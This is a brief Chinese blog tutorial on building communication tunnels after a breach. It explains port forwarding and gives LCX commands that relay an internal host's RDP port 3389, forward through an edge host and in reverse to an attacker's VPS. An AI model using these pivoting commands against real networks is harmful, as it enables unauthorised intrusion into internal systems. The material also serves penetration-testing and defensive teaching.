编程开源技术交流,分享技术与知识

网站首页 > 开源技术 正文

建立通信隧道

wxchong 2024-06-21 14:08:35 开源技术 12 ℃ 0 评论

攻击流程

为什么需要建立通信隧道?

当攻击者找到合适的口子后,便可以将这个点作为从外网进入内网的根据地,此时可以在这个点上建立隧道,形成从外网到内网的跳板。

什么是端口转发?

端口转发(Port forwarding),有时被叫做隧道,端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。
简单来说就是将一个端口收到的流量转发到另一个端口。

端口转发工具——LCX

lcx是最为经典的端口转发工具,基于Socket套接字实现端口转发
有Windows和Linux两个版本,分别为lcx.exe 和 portmap

LCX——正向连接

? 将内网靶机的3389端口转发到边界机的8888端口
? 命令:lcx.exe -tran 8888 靶机ip 3389

lcx.exe -tran 8888 192.168.11.12 3389  

? 场景:由于防火墙限制,只允许8888入站

连接测试



LCX——反向连接

? 将内网靶机的3389端口转发到攻击机的8888端口
? 攻击机(vps):

lcx.exe -listen 6666 8888  

? 边界机:

lcx.exe -slave 192.168.7.144 6666 192.168.11.12 3389  

连接测试

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表